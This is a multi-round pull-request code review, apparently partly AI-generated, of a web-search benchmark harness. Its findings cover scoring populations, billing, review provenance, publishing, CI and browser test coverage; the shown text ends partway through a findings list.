• Resume ordering (runner.py:244): the guards that used to run inside prepare_resume now run after the reference recheck. Resuming a completed collection makes live reference requests and writes unbound references-resume-precheck-* files into the certified directory before being rejected. A missing run-contract.json raises an uncaught FileNotFoundError.
• Release inputs:
  • verify_publication_inputs ignores BROWSER_EVAL_DATA_HOME (profiles.py:129).
  • It compares the new build with the previous target's relevance, review and population values. Any release that changes them can't pass until the target is edited, but AGENTS.md says the target is updated after publication.
  • reader_acceptance and delivery_behavior are now bound to byte-identical content.
• Docs and receipts:
  • The README review section contradicts the new defaults.
  • The run receipt doesn't bind the frozen uv.lock/pyproject.toml.
  • The review-coverage check is a substring match (1/10 passes for 11/100).
  • The restored 3.12–3.14 CI jobs only run validate, not the portable CLI and language tests, and they run without --python, so the 3.14 log warns that it is using a 3.11 environment.

Fixed in these commits

• The previous resume regression: evidence is no longer truncated on reference drift.
• Reviewer opinions can no longer be remapped to another provider.
• The shared header|nav regex now uses a matched-tag backreference, with a nested-header test.
• The mode_panel build/check mismatch.
• The README accept section.
• Partly fixed: passwords containing ;/, are redacted again, Chinese captures now request the Chinese page, review evidence is path-free for new freezes, the shared detail presentation checks now run with negative controls, assessment revisions must match a versioned authority hash, and the release check now always runs the target authority.

Recommendation

1. Make the official 831-case score the headline, with the 775-case view as a labelled post-hoc diagnostic.
2. Fix the resume ordering, the data-home lookup and the "compare with previous target" logic.
3. Either give the reviewer the reference-page text it is told to verify against, or change the prompt.
4. Add tests for this round's fixes. Several can be reverted without any test failing.
5. Finish moving billing, timing and replay normalisation into the adapter.
6. Split the release-check policy change into its own PR with real generated-report tests, including a dark theme that actually renders.

---

Findings in files GitHub cannot annotate inline

GitHub doesn't render the diff for these files, so these findings are listed here with their line numbers at de4e175a.

[blocker · open] harness/web_search/report.py:3115 — The 775-case post-hoc factual population is still the headline; there is no official 831-case score

Unchanged. quality_ids = ids - factual_quality_exclusions, assessment_profile and the factual tables still compute headline quality without the 56 adjudicated cases. No metric is computed on the full 831 cases, and nothing labels the 775-case view as a post-hoc diagnostic subset, which the repository rules require for quarantine. Quality exclusions are still accepted from the review with only resolution == quarantined, with no root cause, regression IDs or preregistered rerun. Render the official full-population metrics as the headline, move the reduced view into a clearly labelled post-hoc diagnostic, and require correction provenance before accepting an exclusion.

[major · partial] harness/web_search/report.py:148 — Billing is still recomputed at render time

Fixed: an assessment revision from the reader-content file must now match a hash in the versioned evaluation/web-search/assessment-revisions.json and pass the paired scoring regressions before it is applied. Remaining: public_calls still recomputes each attempt's cost with request_cost while it builds the report and overwrites the measured cost. That is a billing correction applied at presentation time rather than at collection or aggregation, with no bound correction receipt. Move the billing correction into the aggregate step under a versioned receipt, and have the renderer only verify it.

[major · open] harness/web_search/report.py:575 — Chinese-only comparison reports still have no link to the English notice

Unchanged. The guard and authored.get("presentation") != "comparison-report" still drops the English link from a Chinese-only comparison-report build, even though the not-generated notice en/index.html exists. check_language_contract checks only that the notice file exists, so check() passes. Remove the guard, and assert in check() that the navigation targets en/index.html when only Chinese is generated.

[major · open] harness/web_search/report.py:797 — Layout branching keeps growing: still 26 `comparison-report` branches

Still 26 presentation == comparison-report branches in report.py (13 at the first review). visual.routes() keeps a third, hard-coded copy of each presentation's route list. build(), check() and the visual producer each work out navigation, routes and sections again, which is how the mode-panel and English-notice disagreements arose. Declare the page/route/section registry once per presentation as data, and have all three consume it.

[major · partial] harness/web_search/report.py:1781 — The release gate now always checks the target, but not the build being released

Fixed: a non-synthetic build must now be certified, and release_check always runs publication_authority plus a new input check covering bound file hashes, relevance and review hashes, and query, logical-result and physical-call counts. Remaining: the content, visual-acceptance, delivery and report-manifest bindings point at the previous published version. They are checked only for being unchanged on disk and are never compared with the build being released. There is still no publish command that writes the new target. Compare the current build's content, visual and delivery hashes against what will be bound, and generate the target from the publish step.

[major · partial] harness/web_search/report.py:2536 — Labels still say five slots / nDCG@5 regardless of `protocol.top_k`

Unchanged in this update, although classify, acceptance and the outcome table now receive the cutoff. These labels are still fixed:

• 'nDCG@5', 'five slots' and '前五条' in the quality explanation.
• '每题可用结果（条/5）' / 'Useful results per query (/5)' and 'Quality = nDCG@5'.
• 'Published source in top 5' / '前五条找到标注来源'.
• The comparison labels 'Ideal top-five grades', 'No relevant result in top 5' and 'first five result URLs'.
  A top_k=10 cohort is scored on 10 slots but labelled top five. Generate every label from the cutoff.

[major · partial] harness/web_search/report.py:2604 — Cohort-specific wording remains in the factual panel, the labelling page and the task filter

Fixed in this update: the dataset note now says '各接口', the cohort heading no longer says '两套评测', and the benchmark filter lists only populations that exist, with counts. Remaining: the non-projected factual panel still says '答案线索只检查三家共有的标题与短摘要' ('answer cues use only the three providers' shared titles and snippets'). The relevance-labelling page says candidates come from '三家接口的前 5 条结果' ('the top 5 results of the three APIs'). The comparison 'Task check' filter still always offers 'Factual evidence' (and the target/site checks) even when that population is empty, as in a 4-provider build with no factual queries. Derive provider counts from data and omit empty check options.

[minor · open] evaluation/web-search/simpleqa-verified.json:22 — Contradictory metadata copied from the in-house profile is still present

Unchanged: protocol.review says 'No independent result review; machine checks only', but current.json requires independent_result_review_scope: all. collection_revision.scope (line 15039) still describes a 'two-method, 24-query, three-round cohort', and cohort_revision (line 15046) describes expanding '24 to 120 queries'. load_profile_bytes(cohort='simpleqa') copies this stale text into the frozen supplementary profile. Correct or remove the copied blocks.

[minor · partial] harness/web_search/report.py:120 — Userinfo redaction no longer leaks ';'/',' passwords but still rewrites URLs that have no credentials

Fixed: https://user:pa;ss@host.example/x and https://user:a,b@host.example/x are now redacted, and the quote case https://a.example'bob@corp.example is left alone. Remaining: the new first-pass pattern allows ',', ';', quotes and parentheses anywhere before ':' and '@', so it spans adjacent text. https://a.example,mailto:bob@corp.example becomes https://REDACTED:REDACTED@corp.example, and [https://a.example](mailto:x:y@z.example) loses its first URL. That changes public evidence bytes and logs a redaction where no credential existed. Parse each candidate with urlsplit and redact only when .username or .password is set, and add negative tests for comma-joined and Markdown-adjacent URLs.

[minor · partial] harness/web_search/report.py:1316 — The review-coverage check matches substrings and skips missing attributes

Fixed: check() now compares the visible coverage link and the data-reviewed-* attributes with the accepted review, and a negative control rejects a tampered data-reviewed-outputs. Remaining: the visible check is a substring test, so a true scope of 1/10 passes when the link says 11/100. Each attribute is compared only if coverage.has_attr(...), so deleting the attributes passes. Parse the exact counts from a dedicated element and require both attributes.

[minor · partial] harness/web_search/report.py:1653 — Detail presentation checks now run, but the home winner check is still positional

Fixed: detail pages now carry data-report-detail, data-result-summary and a #result-logs failure diagnosis, so the shared detail checks run, and negative controls cover a duplicate summary, a missing error and a broken evidence target. Remaining: the home-table winner check still takes td[i] for fixed i in (2,3,4,5) and checks a separate win class. Reordering or adding a column silently checks the wrong metric. Select cells by data-metric and direction instead of position.

[minor · open] harness/web_search/report.py:1858 — Any quality exclusion still replaces the whole per-cohort summary with fixed text

Unchanged. When factual_quality_exclusions is non-empty, cohort_summary returns a single fixed 'Measurement scope' paragraph and skips every per-cohort stats row. One quarantined question therefore removes the cohort measurement table. Keep the entries and append the quarantine note.

[minor · open] harness/web_search/report.py:2580 — The compact factual panel still drops the MRR metric

Unchanged. The compact table shows only 'given source found' and 'answer text delivered' and leaves out the first-source reciprocal-rank (MRR) column that the full panel reports. Include MRR, or state on the page that it is left out.

[minor · open] harness/web_search/report.py:2611 — Header patching with `.replace()` still misses the English strings

Unchanged. The projected factual panel rewrites rendered HTML with .replace('Basic API</th>', ...) and .replace('Preview answer: raw', ...), but the English headers are rendered as 'API' and 'Answer text: raw'. The English patch never applies, so the Chinese header says '方法' while the English one still says 'API', and the editions diverge. Choose the headers from data before rendering.

[minor · open] harness/web_search/report.py:3192 — The Chinese quarantine note still omits the counts the English note gives

Unchanged. The English note states the valid, quarantined and total query counts. The Chinese note is the fixed sentence '性能与费用统计包含已隔离题的实际请求；质量指标使用上方有效题目。' ('performance and cost include the quarantined questions' actual requests; quality uses the valid questions above'), with no numbers. Give the same numbers in Chinese, and have check() compare them across editions.

🤖 Generated with Claude Code

[lanyue-llk]

[blocker · open] Detail and evidence coverage moved to tests that don't exist

Line 37 now says renderer/component tests must exercise successful and failed result details, exact error/evidence loading, keyboard dismissal and focus restoration, and line 84 removes the release interaction pass. No test opens a successful result detail for any track. No test loads the Browser Use evidence-viewer.html?src= route or the Replay evidence-viewer.html?file= route. Three of the four tests in tests/test_report_browser_interactions.py use hand-written HTML (Browser Use, Replay) or an empty model (Moli). The PR rewrites the rule to allow coverage it then doesn't provide. Restore the release interactions, or add generated-fixture tests for a success detail, a failure detail and the evidence viewer per track before relaxing the rule. This policy change also deserves its own PR and explicit maintainer sign-off.

[lanyue-llk]

[major · partial] Restored Python 3.12–3.14 jobs only run validate, not the portable CLI tests

Partly fixed: a 'Base Python' matrix for 3.12, 3.13 and 3.14 is back and passes at de4e175. Each job now runs only harness.web_fetch validate --providers fixture, which loads the dataset and provider config but never resolves a report language, imports python-dotenv's language path or renders a report. The base workflow ran tests/test_portable_cli.py, tests/test_cli_scope.py, tests/test_web_fetch_quickstart.py and tests/test_public_report_language.py on each interpreter with fail-fast: false; both the tests and fail-fast: false are gone. The CI log also shows uv run warning 'Using incompatible environment ... does not satisfy the request: Python 3.11' because --python was dropped from the run step. Restore the --extra test sync and the portable pytest selection with --python ${{ matrix.python }} and fail-fast: false.

[lanyue-llk]

[major · partial] Narrow-width and theme coverage handed to tests that don't exist

Partly addressed: the interaction tests are now parametrized over 1280px/light and 390px/dark. Nothing they check depends on layout or theme. No assertion covers overflow, dialog bounds or clipped controls, and the dark run is a no-op (see the separate item on color_scheme). The Browser Use and Moli fixtures also load no stylesheet. harness/reporting/visual.py still hard-codes light in state_matrix. So the responsive and theme coverage that line 83 hands to component tests still doesn't exist. Add real theme activation plus layout assertions (no horizontal overflow, dialog within viewport) on generated pages, or keep the old matrix.

[lanyue-llk]

[major · open] Docs claim generation-time tests own detail links, dialogs and evidence loading

The new text says deterministic generation checks own detail links, filters, pagination, dialogs and evidence loading, and that shared component tests own narrow-width and theme behaviour. report-and-release.md:103/122, moli_report/BUILD.md:50 and SKILL.md:40 say the same. Static checks can't run dialogs or on-demand evidence loading, and no narrow or dark test exists. Align the docs with the coverage that actually exists, or add the tests.

[lanyue-llk]

[major · open] annotations-preserve-calls is still a byte copy of verified-equivalent-url-hits

Unchanged: annotations-preserve-calls is still byte-identical to verified-equivalent-url-hits. It runs only the alias-anchor check and never exercises apply_report_revision. The fixture in test_assessment_revision.py and any newly approved assessment revision still cite it as provenance for annotations. Replace it with paired controls that run apply_report_revision through the public path: results and latency unchanged, one qualified annotation and one unqualified annotation.

[lanyue-llk]

[minor · open] The re-evaluation loop is still duplicated, and only one path validates

Unchanged: apply_report_revision and apply_identity_correction repeat the same re-evaluate-and-diff loop, and only the latter calls validate_profile. Extract one helper and validate in both.

[lanyue-llk]

[minor · new] The new assessment-revision authority check has no negative test

validate_revision_binding is the only gate stopping authored report content from introducing an unapproved scoring revision, but no test reaches its rejection path. Deleting the if identity not in registered["approved_sha256"] check leaves all 293 tests green. It also never checks the authority file's schema. Add a test where a one-byte change to an approved revision is rejected through the report build, and validate schema == "search-assessment-authority/1".

[lanyue-llk]

[minor · open] The builder still just echoes the committed 831 cases

Unchanged: rebuild_profile requires template['cases'] == computed and then writes the same list back, so the build reproduces its input byte for byte. The 15k-line simpleqa-verified.json duplicates upstream rows that are already pinned by URL and SHA. Derive the cases from the pinned CSV and commit only the binding, or rename the tool to a verifier.

[lanyue-llk]

[minor · partial] Chinese captures now request the Chinese page, but the receipt still doesn't prove the language

Fixed: Chinese routes are now opened with ?report-language=zh. On an English-primary build every 'zh' capture now lands on the root route with lang=zh. Remaining: the capture records neither document.documentElement.lang nor the final URL, and state_passes/verify never check them, so a future redirect or routing change could again label English screenshots as Chinese without failing the gate. Record the page language and final path in each capture and reject a mismatch with the declared language.

[lanyue-llk]

[minor · partial] Tests still lack controls for forged receipts, absolute paths, bilingual builds and subprocess failure

Fixed: new tests reject a swapped output mapping and a tampered review-coverage attribute. Remaining: the release fixture still forges a passing status.json by hand, which is the forgery the gate should reject. Nothing tests rejection of absolute paths in published review evidence, a bilingual review build, or timeout, kill and interrupt in run(), and nothing pins its command and environment.

[lanyue-llk]

Re-review at 6467d3c7

I rechecked all 86 outstanding findings from the previous review (de4e175a) against this head and did a fresh pass for new problems. Findings marked "Reproduced" were confirmed with a script. CI is green on Python 3.11 and 3.12–3.14. The 3.12–3.14 jobs now run the portable test files, and the local tests/web_search suite passes.

Progress: this is the most substantial round so far. 33 of the 86 outstanding findings are fully fixed. Of the rest, 40 are partly fixed and 13 are still open, and the two new commits add 15 new problems, for 68 findings in total: 1 blocker, 28 major, 39 minor. Still not mergeable, mainly because of the factual headline, review integrity, and the new publisher.

Each inline comment has a severity and a status in its title (open / partial / new). Findings in report.py and simpleqa-verified.json are listed at the end, because GitHub doesn't render those diffs.

Blocker

The official factual score is still the post-hoc 775-case subset (report.py:3127). The factual table divides by 775, and classify turns quarantined rows into probe, so the official 831-case score and verdicts never appear. Nothing labels 775 as post-hoc.

There is also a new related problem: a failures-only review can quarantine references chosen by provider outcomes (review.py:896). Only cases where some provider failed get audited, so the excluded set depends on who failed, which AGENTS.md forbids.

Review integrity (major)

• Fabricated reviews still pass: a review with model gpt-made-up, authorization invented, no freeze and no Codex run still validates and quarantines a case. The page then reads "operator-provided execution records … Recorded model: gpt-made-up", while the home page still says "Codex reviewed X/Y". Reproduced.
• Legacy allow-list: it still bypasses every provenance check. The new provenance fields are never read by any code.
• Factual references can't be verified: quoting provider output can no longer accept a reference, which is good. But none of the 831 factual cases carries source_observations, so every factual packet has an empty observation list and a new review would have to flag all 831 references.
• Credential copied into the evidence directory (review.py:581): run() copies the user's Codex auth.json into <review>/codex-home/ and never deletes it. HOME is still passed to the child process.
• Model capture doesn't work (review.py:601): the observed model is parsed from stdout JSON, but the command never passes --json.

New publisher (harness/web_search/publication.py, major)

• It duplicates the shared publisher. It reuses load_token (correctly: environment variable, then the per-host token file, never .env), the staged uploader and the operation journal. But it has its own transport, receipt and resume flow, and it drops three of the shared publisher's protections: re-hashing the archive and inputs before commit, checking remote sharing, and clearing the journal.
• Resume can't recover after a commit that left no receipt. It re-uploads with expected= the old version and fails with "Remote version changed" before checking the saved commit operation. Reproduced with a fake transport.
• The new target drops correction history. prepare removes superseded_physical_calls (89), quality_judge, and the correction and adjudication bindings. Separately, reference_dispositions now counts all 5,223 adjudications, including 409 "quarantined", against factual_quarantined: 56.
• Tests only cover plan tampering. Nothing exercises prepare() or publish(). The site title is also a hard-coded Chinese string.

Generality

• Adapter registry (nearly done). Request, options, auth, the response transform (collector and all replays) and billing now go through the adapter. Still missing:
  • Timing is still tied to Lexmount's field names.
  • Billing policy is a fixed list that is checked only after the paid call.
  • The SimpleQA builder hard-codes five method IDs.
  • New latent crash (runner.py:318): with http-200-nonempty billing, the response transform runs outside the collector's try block. A Bocha HTTP 200 with code:429 aborts the run with no row and no interruption.json. Reproduced.
• Untested fixes. These changes can be reverted with all 307 tests still passing: the telemetry check, the billing raise and transform, the collector and replay adapter normalize calls, the quarantine branch in classify, --cohort pass-through, the direct-run diagnostic default, and the approved path of validate_revision_binding.
• Remaining fixed-five and layout leftovers:
  • Factual evidence is still graded on results[:5], and detail pages still show fixed-five labels ('不足五条', 'fewer than five results').
  • There are still 25 comparison-report branches, although pages.reader_pages now drives navigation, check() routes and visual capture.
  • The comparison wording still describes populations and checks that may not exist.

Browser coverage (partial, major)

Browser Use and Replay interaction tests now build real generated reports and open a passed result, a failed result and the evidence viewer. The Replay step dialog is checked at 390px with Escape and focus return. Still missing:

• Moli: still an empty model with an injected button, and its DOM negative controls are still gone.
• WCXB: most removed checks are still unreplaced. Only the "filtered table shrinks" check came back.
• Dark mode: the tests force data-theme/body.dark instead of using each renderer's theme mechanism. color_scheme='dark' alone still changes nothing.
• Visual gate: the Search visual gate is still 1280px, light theme, top-level pages only.

Fixed in these commits (33)

• Resume and runner:
  • Resume now validates with no network calls or file writes.
  • --cohort is plumbed through.
  • BROWSER_EVAL_DATA_HOME is honoured.
  • Staged publication compares against the planned next target.
• Scoring and comparison:
  • The qualification and equivalence controls now catch all four earlier mutants.
  • annotations-preserve-calls exercises apply_report_revision.
  • The candidate-ID helper is unified, and comparison labels follow the cutoff.
• Language and redaction:
  • Redaction is correct for both credential and non-credential URLs.
  • Chinese captures prove their language.
  • The env-file language default and whitespace handling are fixed, and post-render language errors are no longer reported as usage errors.
• Report page:
  • grade_source is rendered, the review-coverage check uses exact counts, and the winner check selects cells by metric name.
  • The per-cohort table is kept under quarantine, the English header patch applies, and the Chinese quarantine note has counts.
• Review pipeline:
  • make_cases reads each file once, and freeze is atomic.
  • accepted_unreviewed_passes is computed for failures scope.
  • The legacy review gets its own notice.
• CI and docs:
  • The 3.12–3.14 jobs run the portable tests.
  • html-delivery.md, the .env.example layout, the AGENTS.md track list and both READMEs are updated.
  • The dead viewerError flag is gone.

Recommendation

1. Make the official 831-case score the headline, with the 775-case view labelled post-hoc. Don't let a failures-only review drive exclusions.
2. Delete the copied auth.json after each run, or never copy it.
3. Fold the Search publisher into the shared report_publish.publish so it keeps the shared protections, fix its resume, and restore the correction bindings.
4. Add tests for this round's unprotected fixes.
5. Finish Moli/WCXB coverage and real dark-theme tests, or split the release-check policy change into its own PR.

---

Findings in files GitHub cannot annotate inline

GitHub doesn't render the diff for these files, so these findings are listed here with their line numbers at 6467d3c7.

[blocker · open] harness/web_search/report.py:3127 — The 775-case post-hoc factual population is still the headline; there is no official 831-case score

Unchanged. quality_ids = ids - factual_quality_exclusions still drives the headline factual tables, and no metric is computed on the full 831-case population. The note now says the 775 queries were reviewed after collection, but the reduced view is still the primary result rather than a clearly labelled post-hoc diagnostic subset. An exclusion is still accepted whenever an adjudication sets quality_excluded: true, with no root cause, regression IDs or preregistered rerun. Render the official full-population metrics as the headline, move the reduced view into a labelled diagnostic, and require correction provenance before an exclusion is accepted.

[major · partial] harness/web_search/report.py:159 — Billing is still recomputed at render time

Fixed earlier: an assessment revision must match a versioned hash and pass the paired scoring regressions. Remaining and unchanged in this update: public_calls still recomputes each attempt's cost with request_cost while building the report and overwrites the measured cost. That is a billing correction applied at presentation time, not at collection or aggregation, and no versioned correction receipt binds it. Move the correction into the aggregate step under a versioned receipt, and have the renderer only verify it.

[major · partial] harness/web_search/report.py:525 — The new page registry is only partly adopted; 25 `comparison-report` branches remain

Fixed: the new pages.reader_pages registry now feeds the visual producer's routes, the build navigation and the top-level route list in check(), so the hard-coded route copy in the visual module is gone. Remaining: report.py still has 25 presentation == comparison-report branches. The build still rewrites the navigation for reading sections outside the registry, and per-presentation decisions for notices, the English link, the review link, speed sections and section order still live in scattered conditionals. These scattered conditionals are where the English-notice disagreement above comes from. Move these per-presentation choices into the registry data and have build and check read them from there.

[major · open] harness/web_search/report.py:572 — Chinese-only comparison reports still have no link to the English notice

Unchanged. The guard authored.get("presentation") != "comparison-report" still drops the English link from a Chinese-only comparison-report build. A 4-provider synthetic comparison build writes en/index.html (the not-generated notice), but the Chinese navigation has no link to it, and check() still passes. Remove the guard, and have check() require the link to en/index.html whenever only Chinese is generated.

[minor · partial] harness/web_search/report.py:816 — Review wording still hard-codes Codex outside the review section

Fixed: the review summary and detail no longer say 'Codex' or 'three providers'. Remaining: the home-page coverage link still reads 'Codex reviewed X/Y queries' / 'Codex 已审查', and the manifest protocol still says 'Complete independent Codex result review', whatever model the evidence records. Derive the reviewer wording from evidence["model"] and label it as operator-attested, as the summary now does.

[minor · partial] harness/web_search/report.py:1024 — Factual labels and metrics are still fixed at five on detail pages

Fixed: the summary tables, comparison labels, nDCG labels and labelling page now take the cutoff from protocol.top_k. A top_k=10 synthetic build has no top-5 text. Remaining: result detail pages still use the fixed labeled_source_hit_5, answer_in_preview_5 and similar keys under the labels 'Published source in top 5' and '前 5 条…', because evaluate computes factual metrics on results[:5]. Meanwhile the factual panel recomputes them at the cutoff, so a top-10 report shows top-10 figures in the panel and top-5 figures in the details. The Chinese method note also still says '不足五条'. Compute factual metrics at the profile cutoff everywhere and generate those labels from it.

[minor · partial] harness/web_search/report.py:1785 — The standalone release check still validates a new build against the previous target

Fixed: the new publish command freezes the current build's manifest, content, visual receipt, delivery index and cohort receipts into a plan, and --release-check --publication-plan verifies against that plan. Remaining: without --publication-plan, release_check still runs verify_publication_inputs against the last published target. That check never compares the target's report_manifest hash with the build under test. A rebuilt report with the same relevance, review and content hashes and the same counts therefore passes as releasable. Require the plan for non-synthetic release checks, or compare the bound manifest hash with the current build.

[minor · open] harness/web_search/report.py:2585 — The compact factual panel still drops the MRR metric

Unchanged. The compact table renders only 'given source found' and 'answer text delivered' (sums[0] and sums[3]) and leaves out the first-source reciprocal-rank (MRR) column that the full panel reports. Include MRR, or state on the page that it is left out.

🤖 Generated with Claude Code

[lanyue-llk]

[major · partial] Detail and evidence coverage promised by the relaxed rule is still incomplete

Partly fixed: new tests build real Browser Use and Trajectory Replay reports, open a passed and a failed result for each and load the evidence viewer. Replay also checks step-dialog keyboard dismissal and focus restoration. Still missing: the Moli test uses an empty model and an injected button, so no real Moli success or failure detail is opened. The generated Browser Use test never opens a diagnosis dialog or checks keyboard dismissal and focus return; that only happens on hand-written markup. Add a generated Moli fixture with one passed and one failed result, plus a keyboard and focus check on a generated Browser Use dialog, before relying on this rule in place of the release interaction pass.

[lanyue-llk]

[major · partial] Narrow-width and theme coverage is only partly in the component tests

Partly fixed: activate_and_check_layout now asserts that the document has no horizontal overflow and that the dark background differs, and the Replay step dialog checks its bounds at 390px. Remaining gaps: two of the six tests (the hand-written Browser Use and Replay tests) still run the narrow/dark variant without activating dark mode. Overflow is checked only for the document root. Dialog bounds are checked only for the Replay step dialog. harness/reporting/visual.py still records only light in state_matrix. Extend the layout helper to the remaining tests and to the Browser Use, WCXB and Moli dialogs, or reword line 83 to match what is covered.

[lanyue-llk]

[major · partial] Docs still say generation-time checks own dialogs and evidence loading

Generated-report browser tests now cover result details and the evidence viewer for Browser Use and Replay, and filters and a dialog for WCXB. The text still says deterministic generation checks own detail links, filters, pagination, dialogs and evidence loading, and that shared component tests own narrow-width and theme behaviour. Moli has no generated detail or evidence test, and Replay and WCXB filters are mostly unexercised. report-and-release.md, moli_report/BUILD.md and SKILL.md repeat the claim. Narrow the wording to the tested tracks, or add the missing tests.

[lanyue-llk]

[major · partial] Browser Use release check still skips detail routes; the generated test covers only part of them

Partly fixed: test_generated_browser_use_success_failure_and_evidence_viewer builds a real report, opens a passed and a failed result page and loads evidence-viewer.html?src=. Still uncovered: the analysis-page diagnosis dialog on generated markup, and the old check that evidence-viewer src links stay inside the report. _routes still returns only top-level pages. Add the generated diagnosis-dialog interaction and a negative control for an unsafe evidence src link.

[lanyue-llk]

[major · partial] Replay filters, English notice and results dialog still lack generated coverage

Partly fixed: the new generated Replay test opens passed and failed result pages and checks the step dialog's bounds at 390px, its keyboard dismissal and focus return, and the evidence viewer. Still missing: the dataset, matrix and metrics filters, the English not-generated notice under a tokenized preview base, and the results diagnosis dialog, which is still tested only on a hand-written results body. Move the diagnosis-dialog test onto the generated fixture and add filter and notice assertions.

[lanyue-llk]

[minor · partial] The new assessment-revision authority check has no negative test

Fixed: a test now rejects an unapproved authored revision. Still open: the authority file's schema is never checked, and the acceptance path has no test. A mutation that rejects every revision (for example an always-failing schema check) still leaves all 307 tests green. The new provenance entries in assessment-revisions.json are also never compared with the approved revision's own root_cause/regression_ids, so they can drift unnoticed. Validate schema == "search-assessment-authority/1", check that each approved hash has matching provenance, and add a positive test with the approved revision.

[lanyue-llk]

[minor · open] The builder still just echoes the committed 831 cases

Unchanged: rebuild_profile requires template['cases'] == computed and then writes the same list back, so the build reproduces its input byte for byte. The 15k-line simpleqa-verified.json duplicates upstream rows that are already pinned by URL and SHA. Derive the cases from the pinned CSV and commit only the binding, or rename the tool to a verifier.

[lanyue-llk]

[minor · new] Shared report fixtures live in test modules and return locals()

build_replay_fixture returns locals() when context=True, so the matrix test unpacks loop leftovers such as name (always 'review.json'), and any rename inside the helper silently changes the test's inputs. The interaction tests import build_browser_use_fixture and build_replay_fixture from other test modules, which couples unrelated test files. The rewrite also gives every attempt in the three-method matrix test a trace file where it previously had empty evidence, so the matrix test no longer covers results without trace evidence. No assertions were removed. Move the builders into fixture modules (like tests/wcxb_fixture.py), return an explicit structure, and keep one no-evidence case.

[lanyue-llk]

[minor · new] Publication tests cover only plan tampering, not the publish boundary

The new tests check that verify_plan rejects changed frozen files before a token is loaded, and they stub publication_authority. Nothing exercises prepare() or publish() with a fake transport. Untested paths include the expected-version mismatch, resume with and without a receipt, the receipt-then-target crash window, and rewriting binding paths into published/<version>. The recovery gap above went unnoticed for this reason. Add behaviour tests for the publish boundary with an in-memory transport.

[lanyue-llk]

[minor · partial] Tests still forge receipts and lack path and interrupt controls

Fixed: a runtime test now runs a real child and pins its flags and environment, and a failures-scope build test was added. Remaining: the release fixture still writes a passing status.json by hand, which is the forgery the gate should reject. Nothing tests that absolute or escaping paths are rejected by load_frozen, a bilingual review build, or the timeout and interrupt paths in run().

[lanyue-llk]

Re-review at 73986cd0, together with lexmount/lexbench-websearch#1

This round rebases onto main (#59) and moves benchmark ownership (datasets, scoring, SimpleQA, answer rules, contamination) into lexmount/lexbench-websearch#1. I reviewed both PRs together and posted a separate review there.

I rechecked all 68 outstanding findings from the previous review (6467d3c7). Seven of them concerned code that moved to lexbench-websearch and are tracked in that review. Of the 61 that stayed here, 14 are fully fixed. The current state is 54 findings: 1 blocker, 23 major, 30 minor (15 open, 31 partial, 8 new). CI is green on this head, and the local Search suite passes (325 tests).

Findings marked "Reproduced" were confirmed with a script. Findings in report.py, and on lines GitHub can't annotate, are listed at the end.

The extraction itself is clean

• No scoring results changed. Old and new code were compared on about 4,000 synthetic cases, and the split profiles reproduce the old profile hashes (a1cd39a6…, ad08ff7a…).
• Browser Eval imports only the package's public functions. No duplicated scoring code is left in harness/web_search.
• No live references remain to the deleted files.
• The rebase onto #59 is mostly correct. Two small #59 improvements were lost: the guide-image error no longer names the image, and the page-type filter fix went away with the deleted WCXB checks.

Cross-repo problems to fix before merging

• The pin points at an unmerged commit (pyproject.toml:9). lexbench-websearch is pinned to 2711961, the head of the still-open lexbench-websearch#1. Its main contains only the initial commit. A squash-merge or branch deletion makes uv sync --frozen fail. harness/lexbench_pin.py / make bump-lexbench only guard lexbench-webfetch (main ancestry, binding agreement), so this pin gets none of those checks. Merge lexbench-websearch#1 first, re-pin to its main, and extend the pin tooling.
• AGENTS.md ownership (AGENTS.md:3): the "Benchmark ownership" section still names only lexbench-webfetch. Line 51 still sends scoring corrections to evaluation/scoring-regressions.json/score_attempt, but Search corrections now belong to the package.
• Broken docs links: docs/benchmarks.md links to lexbench-websearch/blob/main/docs/*.md, which return 404 until the package PR merges.
• Unreachable commit in the target: the publication target's code_commit (1219c1b5) isn't reachable on this branch, probably a pre-rebase hash. publish() records git rev-parse HEAD without checking for a clean tree or a reachable commit.
• Lockfile: uv.lock dropped from format revision 3 to 2 (an older uv), which will churn on the next uv lock.

Blocker (unchanged)

The official factual score is still the post-hoc 775-case subset (report.py:3125). There is no official 831-case score and no post-hoc label.

Main remaining majors

• Review integrity:
  • A fabricated review still passes (model gpt-made-up, invented authorization, no Codex run). observed_model/session_log_sha256 are recorded but never compared with the requested model.
  • The legacy allow-list still bypasses every provenance check.
  • None of the 831 factual cases carries frozen source text, so no reference can be verified.
  • The failures-only scope still can't be declared in current_selection.
• Review vs report inventory: classify calls in review.py still omit the quarantine flag and relevance grades, so a failures-only review selects a different population than the report shows. Quarantined factual tasks also hide HTTP 500 and empty responses (probe/quality_excluded). That ordering now lives in the package's classify.
• Adapter registry: timing still uses Lexmount's field names, and providers without telemetry report attempts=0 as if it were measured. Adapter-aware normalisation in the collector, report and review has no test: all three mutants survive.
• Browser coverage:
  • Moli now opens real pass/fail results through app.js, but its six DOM negative controls are still gone.
  • Most removed WCXB checks are unreplaced.
  • The generated Browser Use test never opens the diagnosis dialog or checks focus return.
  • The Search visual gate is still 1280px, light theme, top-level pages only.
• Report: 25 comparison-report branches remain, and billing is still recomputed at render time. Chinese-only comparison builds have no link to the English notice. The comparison notice describes checks that aren't present.

Fixed in these commits (14)

• Publishing:
  • Search now publishes through the shared report_publish.publish, with snapshot, sharing inspection, journal clearing and the service-path guard.
  • Resume recovers after a commit that left no receipt.
  • The correction history (8 bindings, 89 superseded calls, quality_judge) is restored and hashed.
  • reference_dispositions counts dataset decisions only.
  • The release check without a plan rejects a manifest mismatch.
• Review pipeline:
  • Failures-only review can no longer drive quarantine.
  • The reviewer runtime uses a temporary directory, deletes the copied auth.json, and no longer exposes the real HOME.
• Report:
  • Detail pages follow top_k.
  • The interpretation factual panel is verified by check().
• Runner:
  • The billing-transform crash is fixed.
  • The direct-runner diagnostic default is tested.
• Tests: dark mode now goes through each renderer's real theme toggle.

Recommendation

1. Merge lexbench-websearch#1 first, then re-pin to its main and extend the pin tooling.
2. Fix the 831/775 headline.
3. Close the review-forgery and legacy-bypass gaps.
4. Add tests for adapter-aware normalisation.
5. Split the release-check policy change into its own PR, or finish the Moli/WCXB coverage.

---

Findings GitHub cannot annotate inline

GitHub doesn't render the diff for report.py, and the other entries below point at lines outside the diff, so these findings are listed here with their line numbers.

[blocker · open] harness/web_search/report.py:3125 — The 775-case post-hoc factual population is still the headline; there is no official 831-case score

